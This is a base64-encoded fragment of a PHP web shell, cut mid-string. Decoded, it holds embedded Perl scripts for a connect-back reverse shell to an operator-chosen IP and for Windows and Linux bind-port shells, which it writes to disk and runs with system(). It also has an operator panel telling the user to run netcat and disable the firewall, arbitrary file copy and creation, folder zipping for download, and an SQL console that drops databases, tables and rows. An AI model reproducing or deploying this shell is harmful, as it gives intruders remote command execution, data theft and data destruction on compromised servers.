ZpbGUoKSB7IA0KJGRhdGEgPSBpbXBsb2RlKCIiLCAkdGhpcyAtPiBkYXRhc2VjKTsNCiRjdHJsZGlyID0gaW1wbG9kZSgiIiwgJHRoaXMgLT4gY3RybF9kaXIpOw0KcmV0dXJuDQokZGF0YS4NCiRjdHJsZGlyLg0KJHRoaXMgLT4gZW9mX2N0cmxfZGlyLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLg0KcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLiANCnBhY2soIlYiLCBzdHJsZW4oJGN0cmxkaXIpKS4gDQpwYWNrKCJWIiwgc3RybGVuKCRkYXRhKSkuIA0KIlx4MDBceDAwIjsNCn0NCn0NCiRkbGZvbGRlcj0kX0dFVFsnYWRkcmVzcyddLiRzbGFzaC4kX0dFVFsnZGlybmFtZSddLiRzbGFzaDsNCiR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsNCmZ1bmN0aW9uIGdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LCAkcHV0X2ludG8pIHsNCmdsb2JhbCAkemlwZmlsZTsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyZWN0b3J5KSkgew0Kd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KaWYgKGlzX2ZpbGUoJGRpcmVjdG9yeS4kZmlsZSkpIHsNCiRmaWxlQ29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZGlyZWN0b3J5LiRmaWxlKTsNCiR6aXBmaWxlLT5hZGRfZmlsZSgkZmlsZUNvbnRlbnRzLCAkcHV0X2ludG8uJGZpbGUpOw0KfSBlbHNlaWYgKCRmaWxlICE9ICcuJyBhbmQgJGZpbGUgIT0gJy4uJyBhbmQgaXNfZGlyKCRkaXJlY3RvcnkuJGZpbGUpKSB7DQokemlwZmlsZS0+YWRkX2RpcigkcHV0X2ludG8uJGZpbGUuJy8nKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGlyZWN0b3J5LiRmaWxlLicvJywgJHB1dF9pbnRvLiRmaWxlLicvJyk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCn0NCiRkYXRlZGw9ZGF0ZSgieS1tLWQiKTsNCmdldF9maWxlc19mcm9tX2ZvbGRlcigkZGxmb2xkZXIsJycpOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJF9HRVRbJ2Rpcm5hbWUnXS4iLSIuJGRhdGVkbC4iLnppcCIpOyAgIA0KaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7DQpoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiIC4gc3RybGVuKCR6aXBmaWxlIC0+IGZpbGUoKSkpOw0KZmx1c2goKTsNCmVjaG8gJHppcGZpbGUgLT4gZmlsZSgpOyANCiRmaWxlbmFtZSA9ICRfR0VUWydkaXJuYW1lJ10uIi0iLiRkYXRlZGwuIi56aXAiOw0KJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgIndiIik7DQokb3V0ID0gZndyaXRlICgkZmQsICR6aXBmaWxlIC0+IGZpbGUoKSk7DQpmY2xvc2UgKCRmZCk7DQp9DQppZiAoJF9SRVFVRVNUWydjZGlybmFtZSddKXsNCmlmKG1rZGlyKCRfUkVRVUVTVFsnY2Rpcm5hbWUnXSwiMDc3NyIpKXthbGVydCgiRGlyZWN0b3J5IENyZWF0ZWQgISIpO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmZ1bmN0aW9uIGJjbigkaXBiYywkcGJjKXsNCiRiY3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ2lNZ1EyOXVibVZqZEVKaFkydFRhR1ZzYkNCcGJpQlFaWEpzTGlCVGFHRmtiM2N4TWpBZ0xTQjMNCk5HTnJNVzVuTG1OdmJRb0tkWE5sSUZOdlkydGxkRHNLQ2lSb2IzTjBJRDBnSkVGU1IxWmJNRjA3Q2lSd2IzSjBJRDBnSkVGU1IxWmINCk1WMDdDZ29nSUNBZ2FXWWdLQ0VrUVZKSFZsc3dYU2tnZXdvZ0lIQnlhVzUwWmlBaVd5RmRJRlZ6WVdkbE9pQndaWEpzSUhOamNtbHcNCmRDNXdiQ0E4U0c5emRENGdQRkJ2Y25RK1hHNGlPd29nSUdWNGFYUW9NU2s3Q24wS2NISnBiblFnSWxzclhTQkRiMjV1WldOMGFXNW4NCklIUnZJQ1JvYjNOMFhHNGlPd29rY0hKdmRDQTlJR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1RzZ0l5QlpiM1VnWTJGdUlHTm8NCllXNW5aU0IwYUdseklHbG1JRzVsWldSeklHSmxDbk52WTJ0bGRDaFRSVkpXUlZJc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSU1JVRk4NCkxDQWtjSEp2ZENrZ2ZId2daR2xsSUNnaVd5MWRJRlZ1WVdKc1pTQjBieUJEYjI1dVpXTjBJQ0VpS1RzS2FXWWdLQ0ZqYjI1dVpXTjANCktGTkZVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUdsdVpYUmZZWFJ2Ymlna2FHOXpkQ2twS1NCN1pHbGwNCktDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnSVNJcE8zMEtJQ0J2Y0dWdUtGTlVSRWxPTENJK0psTkZVbFpGVWlJcE93b2cNCklHOXdaVzRvVTFSRVQxVlVMQ0krSmxORlVsWkZVaUlwT3dvZ0lHOXdaVzRvVTFSRVJWSlNMQ0krSmxORlVsWkZVaUlwT3dvZ0lHVjQNClpXTWdleWN2WW1sdUwzTm9KMzBnSnkxaVlYTm9KeUF1SUNKY01DSWdlQ0EwT3c9PSI7DQokb3BiYz1mb3BlbigiYmNjLnBsIiwidyIpOw0KZndyaXRlKCRvcGJjLGJhc2U2NF9kZWNvZGUoJGJjcGVybCkpOw0KZmNsb3NlKCRvcGJjKTsNCnN5c3RlbSgicGVybCBiY2MucGwgJGlwYmMgJHBiYyIpIG9yIGRpZSgiSSBDYW4gTm90IEV4ZWN1dGUgQ29tbWFuZCBGb3IgQmFjayBDb25uZWN0IERpc2FibGVfZnVuY3Rpb25zIE9yIFNhZmUgTW9kZSIpOw0KfQ0KZnVuY3Rpb24gd2JwKCR3Yil7DQokd2JwPSJkWE5sSUZOdlkydGxkRHNLSkhCdmNuUUpQU0FrUVZKSFZsc3dYVHNLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqDQpjQ2NwT3dwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1RzS2MyVjBjMjlqDQphMjl3ZENoVFJWSldSVklzSUZOUFRGOVRUME5MUlZRc0lGTlBYMUpGVlZORlFVUkVVaXdnY0dGamF5Z2liQ0lzSURFcEtUc0tZbWx1DQpaQ2hUUlZKV1JWSXNJSE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1NrN0NteHBjM1JsYmloVFJWSldSVklzDQpJRk5QVFVGWVEwOU9UaWs3Q21admNpZzdJQ1J3WVdSa2NpQTlJR0ZqWTJWd2RDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sDQpJRU5NU1VWT1ZDa0tld3B2Y0dWdUtGTlVSRWxPTENBaVBpWkRURWxGVGxRaUtUc0tiM0JsYmloVFZFUlBWVlFzSUNJK0prTk1TVVZPDQpWQ0lwT3dwdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3Q25ONWMzUmxiU2duWTIxa0xtVjRaU2NwT3dwamJHOXpaU2hUDQpWRVJKVGlrN0NtTnNiM05sS0ZOVVJFOVZWQ2s3Q21Oc2IzTmxLRk5VUkVWU1VpazdDbjBnIjsNCiRvcHdiPWZvcGVuKCJ3YnAucGwiLCJ3Iik7DQpmd3JpdGUoJG9wd2IsYmFzZTY0X2RlY29kZSgkd2JwKSk7DQpmY2xvc2UoJG9wd2IpOw0KZWNobyBnZXRjd2QoKTsNCnN5c3RlbSgicGVybCB3YnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQpmdW5jdGlvbiBsYnAoJHdiKXsNCiRsYnA9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ25WelpTQlRiMk5yWlhRN0pIQnZjblE5SkVGU1IxWmJNRjA3SkhCeWIzUnZQV2RsZEhCeWIzUnYNCllubHVZVzFsS0NkMFkzQW5LVHNrWTIxa1BTSnNjR1FpT3lRd1BTUmpiV1E3YzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmU1U1RlZDd2cNClUwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGJ5azdjMlYwYzI5amEyOXdkQ2hUUlZKV1JWSXNJRk5QVEY5VFQwTkxSVlFzSUZOUFgxSkYNClZWTkZRVVJFVWl3Z2NHRmpheWdpYkNJc0lERXBLVHRpYVc1a0tGTkZVbFpGVWl3Z2MyOWphMkZrWkhKZmFXNG9KSEJ2Y25Rc0lFbE8NClFVUkVVbDlCVGxrcEtUdHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cE8yWnZjaWc3SUNSd1lXUmtjaUE5SUdGalkyVncNCmRDaERURWxGVGxRc0lGTkZVbFpGVWlrN0lHTnNiM05sSUVOTVNVVk9WQ2w3YjNCbGJpaFRWRVJKVGl3Z0lqNG1RMHhKUlU1VUlpazcNCmIzQmxiaWhUVkVSUFZWUXNJQ0krSmtOTVNVVk9WQ0lwTzI5d1pXNG9VMVJFUlZKU0xDQWlQaVpEVEVsRlRsUWlLVHR6ZVhOMFpXMG8NCkp5OWlhVzR2YzJnbktUdGpiRzl6WlNoVFZFUkpUaWs3WTJ4dmMyVW9VMVJFVDFWVUtUdGpiRzl6WlNoVFZFUkZVbElwTzMwZyI7DQokb3BsYj1mb3BlbigibGJwLnBsIiwidyIpOw0KZndyaXRlKCRvcGxiLGJhc2U2NF9kZWNvZGUoJGxicCkpOw0KZmNsb3NlKCRvcGxiKTsNCnN5c3RlbSgicGVybCBsYnAucGwgJHdiIikgb3IgZGllKCJJIENhbiBOb3QgRXhlY3V0ZSBDb21tYW5kIEZvciBCYWNrIENvbm5lY3QgRGlzYWJsZV9mdW5jdGlvbnMgT3IgU2FmZSBNb2RlIik7DQp9DQoNCmlmKCRfUkVRVUVTVFsncG9ydGJ3J10pew0Kd2JwKCRfUkVRVUVTVFsncG9ydGJ3J10pOw0KDQp9aWYoJF9SRVFVRVNUWydwb3J0YmwnXSl7DQpsYnAoJF9SRVFVRVNUWydwb3J0YmwnXSk7DQp9DQppZigkX1JFUVVFU1RbJ2lwY2InXSAmJiAkX1JFUVVFU1RbJ3BvcnRiYyddKXsNCmJjbigkX1JFUVVFU1RbJ2lwY2InXSwkX1JFUVVFU1RbJ3BvcnRiYyddKTsNCg0KfQ0KDQppZigkX1JFUVVFU1RbJ2RvJ109PSJiYyIpew0KZWNobyAkaGVhZC4kZm9ybXAuIjxwIGFsaWduPSdjZW50ZXInPlVzYWdlIDogUnVuIE5ldGNhdCBJbiBZb3VyIE1hY2hpbiBBbmQgRXhlY3V0ZSBUaGlzIENvbW1hbmQoIERpc2FibGUgRmlyZXdhbGwgISEhICk8YnI+PGhyPjxwIGFsaWduPSdjZW50ZXInPjw8PDw8PCBCYWNrIENvbm5lY3QgPj4+Pj4+PGJyPklwIEFkZHJlc3MgOiA8aW5wdXQgbmFtZT1pcGNiIHZhbHVlPSIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YmMgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgV2luZG93cyBCaW5kIFBvcnQgPj4+Pj4+PGJyPlBvcnQgOiA8aW5wdXQgbmFtZT1wb3J0YncgdmFsdWU9NTU1NT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUNvbm5lY3Q+PC9mb3JtPiIuJGZvcm1wLiI8cCBhbGlnbj0nY2VudGVyJz5Vc2FnZSA6IFJ1biBOZXRjYXQgSW4gWW91ciBNYWNoaW4gQW5kIEV4ZWN1dGUgVGhpcyBDb21tYW5kKCBEaXNhYmxlIEZpcmV3YWxsICEhISApPGJyPjxocj48cCBhbGlnbj0nY2VudGVyJz48PDw8PDwgTGludXggQmluZCBQb3J0ID4+Pj4+Pjxicj5Qb3J0IDogPGlucHV0IG5hbWU9cG9ydGJsIHZhbHVlPTU1NTU+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Db25uZWN0PjwvZm9ybT4iLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gY29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpew0KZ2xvYmFsICRzbGFzaDsNCiRmcGMgPSBmb3BlbigkZmlsZTEsICJyYiIpOw0KJHNvdXJjZSA9ICcnOw0Kd2hpbGUgKCFmZW9mKCRmcGMpKSB7DQokc291cmNlIC49IGZyZWFkKCRmcGMsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcGMpOw0KJG9wdCA9IGZvcGVuKCRmaWxlMi4kc2xhc2guJGZpbGVuYW1lLCAidyIpOw0KZndyaXRlKCRvcHQsICRzb3VyY2UpOw0KZmNsb3NlKCRvcHQpOw0KfQ0KaWYgKCRfUkVRVUVTVFsnY29weW5hbWUnXSAmJiAkX1JFUVVFU1RbJ2NweXRvJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydjcHl0byddKSl7DQplY2hvICRfUkVRVUVTVFsnYWRkcmVzcyddOw0KY29weWYoJF9SRVFVRVNUWydhZGRyZXNzJ10uJHNsYXNoLiRfUkVRVUVTVFsnY29weW5hbWUnXSwkX1JFUVVFU1RbJ2NweXRvJ10sJF9SRVFVRVNUWydjb3B5bmFtZSddKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCmlmKCRfUkVRVUVTVFsnY2ZpbGVuYW1lJ10pew0KDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PGI+Q3JlYXRlIEZpbGU8L2I+PGJyPjx0ZXh0YXJlYSByb3dzPSIxOSIgbmFtZT0ibmY0Y3MiIGNvbHM9Ijg3Ij48L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9IicuJF9SRVFVRVNUWydjZmlsZW5hbWUnXS4nIiBuYW1lPW5mNGMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIENyZWF0ZSAgIj48L2Zvcm0+Jy4kZW5kO2V4aXQ7DQp9DQoNCmlmKCRfUkVRVUVTVFsnbmY0YyddICYmICRfUkVRVUVTVFsnbmY0Y3MnXSl7DQppZigkb2ZpbGU0Yz1mb3BlbigkX1JFUVVFU1RbJ25mNGMnXSwidyIpKXsNCmZ3cml0ZSgkb2ZpbGU0YywkX1JFUVVFU1RbJ25mNGNzJ10pOw0KZmNsb3NlKCRvZmlsZTRjKTsNCmFsZXJ0KCJGaWxlIFNhdmVkICEiKTt9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO319DQoNCmZ1bmN0aW9uIHNxbGNsaWVuVCgpew0KZ2xvYmFsICR0LCRlcnJvcmJveCwkZXQsJGhjd2Q7DQppZighZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc1MnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpew0KJHNlcnZlcj0kX1JFUVVFU1RbJ3NlcnZlUiddOyR0eXBlPSRfUkVRVUVTVFsndHlwRSddOyRwYXNzPSRfUkVRVUVTVFsncGFzUyddOyR1c2VyPSRfUkVRVUVTVFsndXNlUiddOyRxdWVyeT0kX1JFUVVFU1RbJ3F1ZXJZJ107DQokZGI9KGVtcHR5KCRfUkVRVUVTVFsnZEInXSkpPycnOiRfUkVRVUVTVFsnZEInXTsNCiRfU0VTU0lPTltzZXJ2ZXJdPSRfUkVRVUVTVFsnc2VydmVSJ107JF9TRVNTSU9OW3R5cGVdPSRfUkVRVUVTVFsndHlwRSddOyRfU0VTU0lPTltwYXNzXT0kX1JFUVVFU1RbJ3Bhc1MnXTskX1NFU1NJT05bdXNlcl09JF9SRVFVRVNUWyd1c2VSJ107DQoNCn0NCg0KaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfZGJdKSl7DQoJJGdldGRiPSRfR0VUW3NlbGVjdF9kYl07DQoJJF9TRVNTSU9OW2RiXT0kZ2V0ZGI7DQoJJHF1ZXJ5PSJTSE9XIFRBQkxFUyI7DQoJJHJlcz1xdWVyWSgkX1NFU1NJT05bdHlwZV0sJF9TRVNTSU9OW3NlcnZlcl0sJF9TRVNTSU9OW3VzZXJdLCRfU0VTU0lPTltwYXNzXSwkX1NFU1NJT05bZGJdLCRxdWVyeSk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtzZWxlY3RfdGJsXSkpew0KCSR0Ymw9JF9HRVRbc2VsZWN0X3RibF07DQoJJF9TRVNTSU9OW3RibF09JHRibDsNCgkkcXVlcnk9IlNFTEVDVCAqIEZST00gYCR0YmxgIjsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCn0NCmVsc2VpZiAoaXNzZXQgKCRfR0VUW2Ryb3BfZGJdKSl7DQoJJGdldGRiPSRfR0VUW2Ryb3BfZGJdOw0KCSRfU0VTU0lPTltkYl09JGdldGRiOw0KCSRxdWVyeT0iRFJPUCBEQVRBQkFTRSBgJGdldGRiYCI7DQoJcXVlclkoJF9TRVNTSU9OW3R5cGVdLCRfU0VTU0lPTltzZXJ2ZXJdLCRfU0VTU0lPTlt1c2VyXSwkX1NFU1NJT05bcGFzc10sJycsJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCcnLCdTSE9XIERBVEFCQVNFUycpOw0KfQ0KZWxzZWlmIChpc3NldCAoJF9HRVRbZHJvcF90YmxdKSl7DQoJJGdldGJsPSRfR0VUW2Ryb3BfdGJsXTsNCgkkcXVlcnk9IkRST1AgVEFCTEUgYCRnZXRibGAiOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJ1NIT1cgVEFCTEVTJyk7DQp9DQplbHNlaWYgKGlzc2V0ICgkX0dFVFtkcm9wX3Jvd10pKXsNCgkkZ2V0cm93PSRfR0VUW2Ryb3Bfcm93XTsNCgkkZ2V0Y2xtPSRfR0VUW2NsbV07DQoJJHF1ZXJ5PSJERUxFVEUgRlJPTSBgJF9TRVNTSU9OW3RibF1gIFdIRVJFICRnZXRjbG09JyRnZXRyb3cnIjsNCgkkdGJsPSRfU0VTU0lPTlt0YmxdOw0KCXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sJHF1ZXJ5KTsNCgkkcmVzPXF1ZXJZKCRfU0VTU0lPTlt0eXBlXSwkX1NFU1NJT05bc2VydmVyXSwkX1NFU1NJT05bdXNlcl0sJF9TRVNTSU9OW3Bhc3NdLCRfU0VTU0lPTltkYl0sIlNFTEVDVCAqIEZST00gYCR0YmxgIik7DQp9DQplbHNlDQoJJHJlcz1xdWVyWSgkdHlwZSwkc2VydmVyLCR1c2VyLCRwYXNzLCRkYiwkcXVlcnkpOw0KDQppZigkcmVzKXsNCiRyZXM9aHRtbHNwZWNpYWxjaGFycygkcmVzKTsNCiRyb3c9YXJyYXkgKCk7DQokdGl0bGU9ZXhwbG9kZSgnWytdWytdWytdJywkcmVzKTsNCiR0cm93PWV4cGxvZGUoJ1stXVstXVstXScsJHRpdGxlWzFdKTsNCiRyb3c9ZXhwbG9kZSgnfCt8K3wrfCt8K3wnLCR0aXRsZVswXSk7DQokZGF0YT1hcnJheSgpOw0KJGZpZWxkPSR0cm93W2NvdW50KCR0cm93KS0yXTsNCmlmIChzdHJzdHIoJHRyb3dbMF0sJ0RhdGFiYXNlJykhPScnKQ0KCSRvYmo9J2RiJzsNCmVsc2VpZiAoc3Vic3RyKCR0cm93WzBdLDAsNik9PSdUYWJsZXMnKQ0KCSRvYmo9J3RibCc7DQplbHNlDQoJJG9iaj0ncm93JzsNCiRpPTA7DQpmb3JlYWNoICgkcm93IGFzICRhKXsNCmlmKCRhIT0nJykNCiRkYXRhWyRpKytdPWV4cGxvZGUoJ3wtfC18LXwtfC18JywkYSk7DQp9DQoNCmVjaG8gIjx0YWJsZSBib3JkZXI9MSBib3JkZXJjb2xvcj0nI0M2QzZDNicgY2VsbHBhZGRpbmc9JzInIGJnY29sb3I9J0VBRUFFQScgd2lkdGg9JzEwMCUnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlJz48dHI+IjsNCmZvcmVhY2ggKCR0cm93IGFzICR0aSkNCmVjaG8gIjx0ZCBiZ2NvbG9yPSdGMkYyRjInPiR0aTwvdGQ+IjsNCmVjaG8gIjwvdHI+IjsNCiRqPTA7DQp3aGlsZSAoJGRhdGFbJGpdKXsNCgllY2hvICI8dHI+IjsNCglmb3JlYWNoICgkZGF0YVskaisrXSBhcyAkZHIpew0KCQllY2hvICI8dGQ+IjsNCgkJaWYoJG9iaiE9J3JvdycpIGVjaG8gIjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZzZWxlY3RfJG9iaj0kZHInPiI7DQoJCWVjaG8gJGRyOw0KCQlpZigkb2JqIT0ncm93JykgZWNobyAiPC9hPiI7DQoJCWVjaG8gIjwvdGQ+IjsNCgl9DQoJZWNobyAiPHRkPjxhIGhyZWY9JyRfU0VSVkVSW1BIUF9TRUxGXT9kbz1kYiZkcm9wXyRvYmo9JGRyIjsNCglpZigkb2JqPT0ncm93JykNCgkJZWNobyAiJmNsbT0kZmllbGQiOw0KCWVjaG8gIic+RHJvcDwvYT48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+PGJyPiI7DQoNCn0NCg0KDQoNCgkNCg0KaWYoZW1wdHkoJF9SRVFVRVNUWyd0eXBFJ10pKSRfUkVRVUVTVFsndHlwRSddPScnOw0KZWNobyAiPGNlbnRlcj48Zm9ybSBuYW1lPWNsaWVudCBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJF9TRVJWRVJbUEhQX1NFTEZdP2RvPWRiJz48dGFibGUgYm9yZGVyPScxJyB3aWR0aD0nNDAwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZScgaWQ9J3RhYmxlMScgYm9yZGVyY29sb3I9JyNDNkM2QzYnIGNlbGxwYWRkaW5nPScyJz48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+Q29ubmVjdCB0byBEYXRhYmFzZTwvZm9udD48L2I+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9JzE1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGZvbnQgZmFjZT0nQXJpYWwnIHNpemU9JzInPkRCIFR5cGU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxzZWxlY3QgbmFtZT10eXBFPjxvcHRpb24gdmFsdXQ9TXlTUUwgIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSBmYWxzZTsnICI7DQppZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdNeVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U1FMPC9vcHRpb24+PG9wdGlvbiB2YWx1dD1NU1NRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nTVNTUUwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NU1NRTDwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9T3JhY2xlIG9uQ2xpY2s9J2RvY3VtZW50LmNsaWVudC5zZXJ2ZVIuZGlzYWJsZWQgPSB0cnVlOycgIjsNCmlmICgkX1JFUVVFU1RbJ3R5cEUnXT09J09yYWNsZScpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk9yYWNsZTwvb3B0aW9uPjxvcHRpb24gdmFsdXQ9UG9zdGdyZVNRTCBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nUG9zdGdyZVNRTCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTUUw8L29wdGlvbj48b3B0aW9uIHZhbHV0PURCMiBvbkNsaWNrPSdkb2N1bWVudC5jbGllbnQuc2VydmVSLmRpc2FibGVkID0gZmFsc2U7JyAiOw0KaWYgKCRfUkVRVUVTVFsndHlwRSddPT0nREIyJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+SUJNIERCMjwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5TZXJ2ZXIgQWRkcmVzczo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCB2YWx1ZT0nIjsNCmlmICghZW1wdHkoJF9SRVFVRVNUWydzZXJ2ZVInXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1JFUVVFU1RbJ3NlcnZlUiddKTtlbHNlIGVjaG8gJ2xvY2FsaG9zdCc7IA0KZWNobyAiJyBuYW1lPXNlcnZlUiBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5Vc2VybmFtZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9JzI1MCcgYmdjb2xvcj0nI0VBRUFFQSc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZVIgdmFsdWU9JyI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsndXNlUiddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUkVRVUVTVFsndXNlUiddKTtlbHNlIGVjaG8gJ3Jvb3QnOyANCmVjaG8gIicgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxpbnB1dCB0eXBlPXRleHQgdmFsdWU9JyI7DQppZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNTJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydwYXNTJ10pO2Vsc2UgZWNobyAnMTIzJzsgDQplY2hvICInIG5hbWU9cGFzUyBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSc0MDAnIGNvbHNwYW49JzInIGJnY29sb3I9JyNGMkYyRjInPjxwIGFsaWduPSdjZW50ZXI